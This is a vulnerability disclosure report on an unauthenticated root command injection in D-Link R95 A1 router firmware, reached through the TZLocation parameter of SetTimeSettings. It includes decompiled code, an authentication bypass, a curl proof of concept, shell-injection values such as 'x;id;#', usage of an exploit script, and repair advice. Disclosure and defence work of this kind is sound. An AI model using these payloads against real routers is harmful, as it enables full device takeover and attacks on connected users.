# D-Link R95 A1 `SetTimeSettings` `TZLocation` OS Command Injection ## Title D-Link R95 A1 1.04B04Beta DHMAPI `SetTimeSettings` `TZLocation` Unauthenticated OS Command Injection ## Description ### 1. Vulnerability Name Unauthenticated root OS command injection in the DHMAPI `SetTimeSettings` action through the `TZLocation` parameter. ### 2. Vulnerability Contributor and Submitter - **Researcher**: Lumina - **Contact**: 1547800591@qq.com ### 3. Vendor and Product Information - **Vendor**: D-Link Corporation - **Vendor homepage**: https://www.dlink.com/ - **Product**: D-Link R95 A1 Router Operating System - **Component**: DHMAPI SOAP interface, `/bin/ssi` - **Affected action**: `SetTimeSettings` - **Affected parameter**: `TZLocation` ![image-20261104182522716](R95-V1.04B04Beta-SetTimeSettings-TZLocation-command-injection-RCE.EN.assets/image-20261104182522716.png) ### 4. Affected Version - **Firmware**: `1.04B04Beta` (`R95A1_FW104B04Beta.bin`) - **Runtime version string**: `1.04.04Beta` - **SHA-256**: `e68fb1e04e915876e5dc32137ea54dee107f6465ee9f3e3d8eaab8bf69d4b604` ### 5. Vulnerability Class and Attack Conditions - **Vulnerability class**: OS command injection - **CWE**: CWE-78 (Improper Neutralization of Special Elements Used in an OS Command) - **Attack vector**: Network; adjacent networks by default, or remote networks if the management interface is exposed - **Authentication required**: No - **User interaction required**: No - **Privileges gained**: Root (`uid=0`) ### 6. Severity An unauthenticated attacker who can reach the management service can execute arbitrary commands as root and fully compromise the router. ### 7. Vulnerability Description The `SetTimeSettings` SOAP handler extracts `TZLocation` from the request and passes it to `_system` without shell escaping or timezone whitelist validation. The fixed command template is: ```text cp /usr/share/zoneinfo/%s /etc/localtime ``` A value such as `x;id;#` terminates the intended path argument, executes `id`, and comments out the remaining command. The 63-byte input limit does not prevent injection. The sensitive action is also exposed without authentication. DHMAPI exempts an outer `API-ACTION: GetDeviceSettings` request from `API-CONTENT` validation but independently dispatches the action inside the XML body. An outer `GetDeviceSettings` request can therefore carry an inner `SetTimeSettings` action. A `SOAPAction` header satisfies an earlier request gate. No session cookie or `API-CONTENT` value is required. ### 8. Technical Details and Root Cause #### Unauthenticated action dispatch In `/bin/ssi`, `sub_5472C` (`0x5472C`) applies the following outer-action check: ```c v9 = strcasecmp(action, "Login") == 0 || strcasecmp(action, "GetDeviceSettings") == 0; if (v9 || valid_API_CONTENT(...)) { v65 = sub_54118(body); } ``` `sub_54118` and `sub_5305C` route the body according to its internal SOAP action without comparing it to the outer action. `sub_164D8` also accepts the request when `HTTP_SOAPACTION` exists. #### Vulnerable function and data flow The vulnerable handler is `sub_6C548` (`0x6C548`). Its source-to-sink flow is: ```c char tz[64] = {0}; sub_52D64(soap_context, tz, "TZLocation", 63); sub_1823C("time.value.TZLocation", tz); _system("cp /usr/share/zoneinfo/%s /etc/localtime", tz); ``` Relevant ARM instructions: ```asm SUB R1, R11, ...tz buffer... MOV R3, #0x3F LDR R2, ="TZLocation" LDR R0, [R11, ...soap context...] BL sub_52D64 ... SUB R3, R11, ...tz buffer... MOV R1, R3 LDR R3, ="cp /usr/share/zoneinfo/%s /etc/localtime" MOV R0, R3 BL _system ; call site 0x6C980 ``` The same stack buffer supplies both the extracted value and the `%s` argument. The format string is fixed; the vulnerability is shell command injection, not a format-string vulnerability. With `TZLocation=x;id;#`, the shell receives: ```bash cp /usr/share/zoneinfo/x;id;# /etc/localtime ``` ### 9. Proof of Concept The following request was reproduced against the emulated firmware at `192.168.135.132:8080`. Replace the host and port with the target under authorized test; the original firmware HTTP port is `80`. ```bash curl -i 'http://192.168.135.132:8080/DHMAPI/' \ -H 'User-Agent: Mozilla' \ -H 'API-ACTION: GetDeviceSettings' \ -H 'SOAPAction: GetDeviceSettings' \ -H 'Content-Type: application/xml' \ --data-binary 'x;id;#' ``` Observed result: ```text HTTP 200 SetTimeSettingsResult=OK uid=0(root) gid=0(root) groups=0(root) ``` A second test using `id|tee /tmp/r95_tz` created `/tmp/r95_tz` with UID 0, GID 0, and the same output. The attached self-contained Python 3 script reproduces the issue without third-party dependencies: ```bash python3 r95_oneclick_exp.py -t http://TARGET -v tz python3 r95_oneclick_exp.py -t http://TARGET -v tz -c "id|tee /tmp/r95_tz" ``` ![image-20261104182507949](R95-V1.04B04Beta-SetTimeSettings-TZLocation-command-injection-RCE.EN.assets/image-20261104182507949.png) ### 10. Impact Successful exploitation provides unauthenticated root command execution, allowing complete device compromise, credential theft, persistent configuration changes, DNS or traffic manipulation, denial of service, and attacks against connected LAN clients. ### 11. Repair Plan 1. Replace the shell-based `cp` operation with a direct file API or `execve`/`posix_spawn` using a fixed argument array. 2. Validate `TZLocation` against available timezone entries and reject path traversal and shell metacharacters. 3. Require authenticated authorization for every sensitive `Set*` action. 4. Require exact equality between `API-ACTION` and the internal SOAP action. 5. Remove the request bypass based solely on the presence of `SOAPAction`. 6. Audit all `_system` and `system()` calls in `/bin/ssi` for equivalent unsafe data flows. 7. Until a fix is available, disable remote management and restrict the management interface to trusted hosts. ### 12. Verification and Disclosure Notes - **Evidence level**: VALIDATED through end-to-end testing in QEMU user-mode ARM chroot emulation. - The firmware web frontend and backend were running; the vulnerable `/bin/ssi` path was not patched. - Emulation port `8080` replaced port `80` only to avoid a host port conflict. The following supporting files are attached to this submission: - `r95_oneclick_exp.py` — self-contained Python 3 proof of concept; use `-v tz` for this vulnerability.